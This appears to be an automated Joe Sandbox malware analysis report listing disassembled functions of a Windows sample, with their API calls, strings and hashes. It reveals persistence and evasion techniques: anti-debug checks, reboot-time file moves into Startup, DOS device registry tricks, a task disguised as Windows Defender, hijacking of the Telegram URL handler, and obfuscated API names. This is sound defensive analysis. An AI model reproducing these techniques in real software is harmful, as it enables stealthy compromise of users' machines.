Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: aI$FL
API String ID: 3906539128-1357812705
Opcode ID: 42bc2c30a783ce4da4fe4afbb9691e70f88de7c8e7434e5aad99e7dc4c7c5901
Instruction ID: a8ca9b906cd883fc46e0dd6f7fab669c58bb0ea403d7c0de9e59952073692032
Opcode Fuzzy Hash: 42bc2c30a783ce4da4fe4afbb9691e70f88de7c8e7434e5aad99e7dc4c7c5901
Instruction Fuzzy Hash: 5A31D5749012289BCB21DF69DC887DDBBB8BF48311F5041EAE41CA7251E7349F858F59

Function 0251AD55 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0251CE29
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0251CE3E
UnhandledExceptionFilter.KERNEL32(10018614), ref: 0251CE49
GetCurrentProcess.KERNEL32(C0000409), ref: 0251CE65
TerminateProcess.KERNEL32(00000000), ref: 0251CE6C

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction ID: e1ef6b3757c3c4756db869db807d7b6301f9359c240ec77ad374ff9a841b4c1a
Opcode Fuzzy Hash: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction Fuzzy Hash: 5821CFBC804364EFF701DF24C8C46947BAABB28714F60415AF80887AA0E7705787CF09

Function 1000AD51 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 1000CE25
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1000CE3A
UnhandledExceptionFilter.KERNEL32(10018614), ref: 1000CE45
GetCurrentProcess.KERNEL32(C0000409), ref: 1000CE61
TerminateProcess.KERNEL32(00000000), ref: 1000CE68

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction ID: 6517f94797ca81995990b4242a803cce514835e4b5f29b322a070f1029a2ff57
Opcode Fuzzy Hash: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction Fuzzy Hash: 8921BEBC8043A8EBF700DF24C9C46847BAAFB28754F60412AF50887AA1E7709787CF15

Function 004D658D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000,004C46EF), ref: 004D65CC

Strings

GetSystemTimePreciseAsFileTime, xrefs: 004D65A8

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 2441b1c8e253a11aa715c7865bbe1c8217f64342e52dd506b4859cb4b63aaae9
Instruction ID: b0e57bed8e68412c230576b73cb895ee89681d826538f5be0f42b562b72e6ea3
Opcode Fuzzy Hash: 2441b1c8e253a11aa715c7865bbe1c8217f64342e52dd506b4859cb4b63aaae9
Instruction Fuzzy Hash: 4EE05C716011587783006B71AD15E7EBB94CB45700711016FF8015B341DD685D6096DF

Function 025118A4 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 025118DC

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction ID: 04a738a6ed91f7f5a867dbd005b5c22eb1e85a47d42346162c557f1df6689830
Opcode Fuzzy Hash: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction Fuzzy Hash: 4CF0A2B4900209AFE700DF64C885ABE7BF9FB48304F508559E905D7255D7709A448B95

Function 100018A0 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100018D8

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction ID: 1284129d368dd4f9ec746a52f50721543a293ed91bf36e4945d7704fe5ea2f3f
Opcode Fuzzy Hash: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction Fuzzy Hash: A8F0A2B4900209AFE700DF64C885BBE7BF9FB48304F508559F90597251D770AA448B95

Function 02516CF2 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction ID: dc99d9f57691c96d2a927131d12818d24b5ae5881c7a135f5ba3b395d23420b0
Opcode Fuzzy Hash: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction Fuzzy Hash: 06F1D775E002298FEF24CF28C89079DB7B6BB89314F1581EAC54DA7245DB306E85CF95

Function 10006CEE Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction ID: a0e20a4d8705da3879d7cd0353d03549ac3988d2329374f6b54b1ce50d4252b0
Opcode Fuzzy Hash: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction Fuzzy Hash: EDF1D375E002298FEB64CF28C89079DB7B2FB89354F2581EAC94DA7245D7306E85CF91

Function 02510B11 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction ID: 5b4fa5cb5e5359d635e34903ace2dec59892799d2c634c04d446900f71705ff4
Opcode Fuzzy Hash: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction Fuzzy Hash: 1B31AC76A0874B8FD310DF18C48092AF7E4FF89318B09096DE89597352E334F995CB95

Function 0251C154 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: db82a571dc00a82f838e0a884ee167de93f0fa7c318290b67f55f3430e72d842
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 011108773C018143F7158A6DD8B42BBAF96FAE612B72D437BD0418B758D323E145950A

Function 1000C150 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: e4996ab3c1fba975cbf5306e6907ec2e96a7f1d4b9c63f29573e9c6b31fa0635
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 2A1171B760538A43F280C73DD8B4DEBA7DAEBC72E0729437AD042CB64EC132D9459500

Function 0251768D Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction ID: f0c1637ab0356d9b0bfc7a8dd1734decfd6596222b3b0ab6f3f0c365566bbbb6
Opcode Fuzzy Hash: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction Fuzzy Hash: 0D21D5216B0AF607DB458BFCECC06136BD19BCE11676DC367EA64C9151D1BDD232C660

Function 10007689 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction ID: e6d3e4d723754fef52a536e92ba577a860d4e22abacaba0441e306dd7afa6319
Opcode Fuzzy Hash: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction Fuzzy Hash: 5E21D521AB4AF607D7458BFCECC051327D1DBCA11636DC3A7DAA8C9151C0BED632C660

Function 00492743 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923f543eb059ed845dd6a50fd32f29aaa1eb8d894634acf905dd9b68bbbdbb75
Instruction ID: 64e46117a9412a7f68d5c8068ecad3bb25a80e4f529541c27bf51530df925ec0
Opcode Fuzzy Hash: 923f543eb059ed845dd6a50fd32f29aaa1eb8d894634acf905dd9b68bbbdbb75
Instruction Fuzzy Hash: 42F0D4B681010DBBDF119F95CD418EA7BADEF14250F0041AAFD44A6211E672AA609BD4

Function 10001144 Relevance: 58.1, APIs: 21, Strings: 12, Instructions: 338registryCOMMON

Download Yara Rule

APIs

_wprintf.LIBCMT ref: 10001192
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,1001A5D4,0000000A), ref: 100011B0
RegCloseKey.ADVAPI32(?), ref: 100011C0
_memset.LIBCMT ref: 100012B7
RegCloseKey.ADVAPI32(?), ref: 100012EE
SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 100012FF
_memset.LIBCMT ref: 10001318
_sprintf.LIBCMT ref: 100013C3
_memset.LIBCMT ref: 10001471
RegCreateKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 10001496
_sprintf.LIBCMT ref: 100014B7
RegSetValueExA.ADVAPI32(?,1001A62C,00000000,00000001,?,?), ref: 100014E8
_sprintf.LIBCMT ref: 10001509
DefineDosDeviceA.KERNEL32(00000001,1001A62C,?), ref: 1000151B
_memset.LIBCMT ref: 1000154C
_sprintf.LIBCMT ref: 10001566
_memset.LIBCMT ref: 100015A7
_memset.LIBCMT ref: 100015BE
_memset.LIBCMT ref: 10001619
_memset.LIBCMT ref: 1000162D
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 1000165A

Strings

ows\St, xrefs: 1000135E
QWQ\ShellEx\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}, xrefs: 100012D0, 100012D6
art Me, xrefs: 10001376
nu\Pro, xrefs: 1000138E
%s\1.qwq1, xrefs: 10001558, 1000155E
grams, xrefs: 100013AD
1, xrefs: 10001610
%s\Mic, xrefs: 1000132F
.qwq, xrefs: 10001606
[:\1.qwq1, xrefs: 100015C8
rosoft\Wind, xrefs: 10001347
SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices, xrefs: 1000148A, 10001490

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _memset$_sprintf$CloseValue$CreateDefineDeviceFileFolderMovePathSpecial_wprintf
String ID: %s\1.qwq1$%s\Mic$.qwq$1$QWQ\ShellEx\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}$SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices$[:\1.qwq1$art Me$grams$nu\Pro$ows\St$rosoft\Wind
API String ID: 1177859221-1427731300
Opcode ID: 6ba87c02782fc0de1e9f06427d0b81cab2b3815a4f095c937343f657c757354a
Instruction ID: 350bb50ebaedca6c4152d2fafe9aa8861fb131357f6c93ae1ca0623870985c33
Opcode Fuzzy Hash: 6ba87c02782fc0de1e9f06427d0b81cab2b3815a4f095c937343f657c757354a
Instruction Fuzzy Hash: 19D17BB180526DAEEB21DF548D84FEAB7BDEB05380F0045E5E649AB105DB709FC58F60

Function 100031C7 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 224libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100031EE
_strrchr.LIBCMT ref: 100031FD
_strncpy.LIBCMT ref: 100032A6
_memset.LIBCMT ref: 100032D2
_memset.LIBCMT ref: 10003344
_sprintf.LIBCMT ref: 1000335E

Part of subcall function 10002F16: LoadLibraryA.KERNEL32(?,?), ref: 10002F6E
Part of subcall function 10002F16: GetProcAddress.KERNEL32(00000000), ref: 10002F75

_memset.LIBCMT ref: 10003425
_sprintf.LIBCMT ref: 10003438

Part of subcall function 1000AD60: __output_l.LIBCMT ref: 1000ADBB

_memset.LIBCMT ref: 1000349D
LoadLibraryA.KERNEL32(?,?,00000000,000000F3,?,?,?,?,?,00000000,000000D8,?,?,?,?,?), ref: 100034AC
_memset.LIBCMT ref: 100034EC
GetProcAddress.KERNEL32(?,?), ref: 10003501
_memset.LIBCMT ref: 1000352A
FreeLibrary.KERNEL32(?,?,?,?,?,00000000,000000F1,?,?,?,?,?,00000000,000000D8), ref: 10003555

Strings

l32., xrefs: 10003489
%s\tg\shell\open\command, xrefs: 10003350, 10003356
Open, xrefs: 1000351A
Shel, xrefs: 1000347F
lExe, xrefs: 100034CF
d, xrefs: 1000325C
_Classes, xrefs: 100032D7, 100032DD
-- tg://setlanguage?lang=classic-zh-cn, xrefs: 1000342A, 10003430
A, xrefs: 100034E3
Shel, xrefs: 100034C5
dll, xrefs: 10003493
cute, xrefs: 100034D9

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _memset$Library$AddressLoadProc_sprintf$FileFreeModuleName__output_l_strncpy_strrchr
String ID: %s\tg\shell\open\command$-- tg://setlanguage?lang=classic-zh-cn$A$Open$Shel$Shel$_Classes$cute$d$dll$l32.$lExe
API String ID: 1778617766-3396513812
Opcode ID: c60692a25cb7e9ace357333a4c8f6115e2ac3d9a3e742e57e2ec930944f8dcfd
Instruction ID: 1820278bde64f112f83f7bb9eb9e6154be44d2104aec14e396f28afe1efcd494
Opcode Fuzzy Hash: c60692a25cb7e9ace357333a4c8f6115e2ac3d9a3e742e57e2ec930944f8dcfd
Instruction Fuzzy Hash: FC9160B5C0426D9AEB22DF54CC85BDEB7BDEB04780F0081E5E608A6146D735AFC98F60

Function 025131CB Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 224libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 025131F2
_strncpy.LIBCMT ref: 025132AA
_memset.LIBCMT ref: 025132D6
_memset.LIBCMT ref: 02513348
_sprintf.LIBCMT ref: 02513362

Part of subcall function 02512F1A: LoadLibraryA.KERNEL32(?,?), ref: 02512F72
Part of subcall function 02512F1A: GetProcAddress.KERNEL32(00000000), ref: 02512F79

_memset.LIBCMT ref: 02513429
_sprintf.LIBCMT ref: 0251343C

Part of subcall function 0251AD64: __output_l.LIBCMT ref: 0251ADBF

_memset.LIBCMT ref: 025134A1
LoadLibraryA.KERNEL32(?,?,00000000,000000F3,?,?,?,?,?,00000000,000000D8,?,?,?,?,?), ref: 025134B0
_memset.LIBCMT ref: 025134F0
GetProcAddress.KERNEL32(?,?), ref: 02513505
_memset.LIBCMT ref: 0251352E
FreeLibrary.KERNEL32(?,?,?,?,?,00000000,000000F1,?,?,?,?,?,00000000,000000D8), ref: 02513559

Strings

Open, xrefs: 0251351E
%s\tg\shell\open\command, xrefs: 02513354, 0251335A
Shel, xrefs: 02513483
cute, xrefs: 025134DD
_Classes, xrefs: 025132DB, 025132E1
Shel, xrefs: 025134C9
A, xrefs: 025134E7
lExe, xrefs: 025134D3
-- tg://setlanguage?lang=classic-zh-cn, xrefs: 0251342E, 02513434
dll, xrefs: 02513497
d, xrefs: 02513260
l32., xrefs: 0251348D

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: _memset$Library$AddressLoadProc_sprintf$FileFreeModuleName__output_l_strncpy
String ID: %s\tg\shell\open\command$-- tg://setlanguage?lang=classic-zh-cn$A$Open$Shel$Shel$_Classes$cute$d$dll$l32.$lExe
API String ID: 41527467-3396513812
Opcode ID: c60692a25cb7e9ace357333a4c8f6115e2ac3d9a3e742e57e2ec930944f8dcfd
Instruction ID: 6e382798b638c86438016d00d6af3943d2c38132a6f529f1aa733c1574bc92ca
Opcode Fuzzy Hash: c60692a25cb7e9ace357333a4c8f6115e2ac3d9a3e742e57e2ec930944f8dcfd
Instruction Fuzzy Hash: 459190B1C0426EAAEB21EF54CC91BEEBBB9BB04704F0081E5D618A7141D7759FC98F64

Function 0049BDD4 Relevance: 37.1, APIs: 5, Strings: 16, Instructions: 304COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0049BE75
___from_strstr_to_strchr.LIBCMT ref: 0049BFBE
___from_strstr_to_strchr.LIBCMT ref: 0049BFD5
_strstr.LIBCMT ref: 0049C078
___from_strstr_to_strchr.LIBCMT ref: 0049C0F3

Strings

%[^/?]%[^], xrefs: 0049BEEB
%25, xrefs: 0049C072
FTP., xrefs: 0049BF20
http, xrefs: 0049BF9A
DICT., xrefs: 0049BF42
DICT, xrefs: 0049BF53
IMAP., xrefs: 0049BF86
LDAP., xrefs: 0049BF64
%15[^:]:%[^], xrefs: 0049BE01
file, xrefs: 0049BE1D, 0049BE22
ftp, xrefs: 0049BF31
<url> malformed, xrefs: 0049BF03
IMAP, xrefs: 0049BF93
LDAP, xrefs: 0049BF75
Invalid IPv6 address format, xrefs: 0049C0D6
%15[^:]://%[^/?]%[^], xrefs: 0049BEC8

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ___from_strstr_to_strchr$_strstr
String ID: %15[^:]://%[^/?]%[^]$%15[^:]:%[^]$%25$%[^/?]%[^]$<url> malformed$DICT$DICT.$FTP.$IMAP$IMAP.$Invalid IPv6 address format$LDAP$LDAP.$file$ftp$http
API String ID: 2668852316-2663360794
Opcode ID: beaad060873e869e29f573a766c967564d4ec0d26e6be6b23677ce99472ad365
Instruction ID: 43aa28e37a63fc718acb53409de245c3d78b6cdb24f3f678565d5160eebc4deb
Opcode Fuzzy Hash: beaad060873e869e29f573a766c967564d4ec0d26e6be6b23677ce99472ad365
Instruction Fuzzy Hash: 9FA1497190420AAEDF15DF64DC81BFABFA5EF05304F14417FE444E7282E73A99058BA9

Function 025114BA Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 124registryCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 025114BB
RegSetValueExA.ADVAPI32(?,1001A62C,?,00000001,?,?), ref: 025114EC
_sprintf.LIBCMT ref: 0251150D
DefineDosDeviceA.KERNEL32(00000001,1001A62C,?), ref: 0251151F
_memset.LIBCMT ref: 02511550
_sprintf.LIBCMT ref: 0251156A
_memset.LIBCMT ref: 025115AB
_memset.LIBCMT ref: 025115C2
_memset.LIBCMT ref: 0251161D
_memset.LIBCMT ref: 02511631
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0251165E

Strings

tart, xrefs: 025115F6
%s\1.qwq1, xrefs: 0251155C, 02511562
1, xrefs: 02511614
up\1, xrefs: 02511600
.qwq, xrefs: 0251160A
[:\S, xrefs: 025115EC

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: _memset$_sprintf$DefineDeviceFileMoveValue
String ID: %s\1.qwq1$.qwq$1$[:\S$tart$up\1
API String ID: 3652080668-2429600194
Opcode ID: 3ef2ff0655df4ffd1ea1101fc9b72938db6c8d84062ab67fc02a1d9bd92746db
Instruction ID: 91a30e064354f22c068244fca68b822ed418360fa3d4bc92ba0dab9b624daa96
Opcode Fuzzy Hash: 3ef2ff0655df4ffd1ea1101fc9b72938db6c8d84062ab67fc02a1d9bd92746db
Instruction Fuzzy Hash: 2D417FB194112D9EEB21EB64CC48FEAB7BDAF48300F0085E5D65DE3101DA358B88CF55

Function 10002388 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 398comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10002392
CoInitializeEx.COMBASE(00000000,00000000), ref: 1000239B
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 100023AD
CoCreateInstance.COMBASE(100184F0,00000000,00000001,100182E0,?), ref: 100023C7
VariantInit.OLEAUT32(?), ref: 100023D4
VariantInit.OLEAUT32(?), ref: 100023F4
VariantInit.OLEAUT32(?), ref: 10002411
VariantInit.OLEAUT32(?), ref: 1000242E

Part of subcall function 100016CA: __EH_prolog3.LIBCMT ref: 100016D1
Part of subcall function 100016CA: SysAllocString.OLEAUT32(?), ref: 100016F9

_memset.LIBCMT ref: 1000269E
_memset.LIBCMT ref: 100026D1
_mbstowcs.LIBCMT ref: 100026E9
VariantInit.OLEAUT32(?), ref: 100027AE
VariantInit.OLEAUT32(?), ref: 100027CB

Part of subcall function 1000172A: InterlockedDecrement.KERNEL32(?), ref: 10001735
Part of subcall function 1000172A: SysFreeString.OLEAUT32(00000000), ref: 1000174A

CoUninitialize.COMBASE ref: 1000287B

Strings

n, xrefs: 10002549
atio, xrefs: 10002542
Window Defender UqdataMicrosoft Corporation, xrefs: 100027E4, 100027E8

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: InitVariant$InitializeString_memset$AllocCreateDecrementFreeH_prolog3H_prolog3_InstanceInterlockedSecurityUninitialize_mbstowcs
String ID: Window Defender UqdataMicrosoft Corporation$atio$n
API String ID: 409417733-2587304410
Opcode ID: 81940b457bab7bae2526560bdd5034b35fe789d32fe17d0520502c624e1581f5
Instruction ID: 082b34a226fa66f9205af72d72485e7c7a0150e95f4e98ac3b66faf375d28fea
Opcode Fuzzy Hash: 81940b457bab7bae2526560bdd5034b35fe789d32fe17d0520502c624e1581f5
Instruction Fuzzy Hash: 38F10872900629AFDB12DF64CC84A9EB7BDEF45304F0085D9E909AB254D771AF8ACF50

Function 02512FE1 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 131registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0251308E
_strncpy.LIBCMT ref: 02513128
RegCloseKey.ADVAPI32(?), ref: 025131B4

Strings

Key, xrefs: 025131A2
RegE, xrefs: 025130AE
RegC, xrefs: 02513194
numK, xrefs: 025130B5
A, xrefs: 02513046
eyEx, xrefs: 025130BC
RegO, xrefs: 02513031
eyEx, xrefs: 0251303F
lose, xrefs: 0251319B
penK, xrefs: 02513038
ADVAPI32.dll, xrefs: 0251309A, 0251309D
A, xrefs: 025130C3

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: Close_memset_strncpy
String ID: A$A$ADVAPI32.dll$Key$RegC$RegE$RegO$eyEx$eyEx$lose$numK$penK
API String ID: 398226110-1513123901
Opcode ID: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction ID: 04d4b1758d04ac335475661051b6e199cb9a66ba3e1bafeb21b0587012e79b2a
Opcode Fuzzy Hash: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction Fuzzy Hash: 0F51C6B190122DAFDB61DF95CD84AEEBBB8FF48344F1000A9E509A7210DB749E84CF65

Function 10002FDD Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 131registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1000308A
_strncpy.LIBCMT ref: 10003124
RegCloseKey.ADVAPI32(?), ref: 100031B0

Strings

eyEx, xrefs: 100030B8
A, xrefs: 10003042
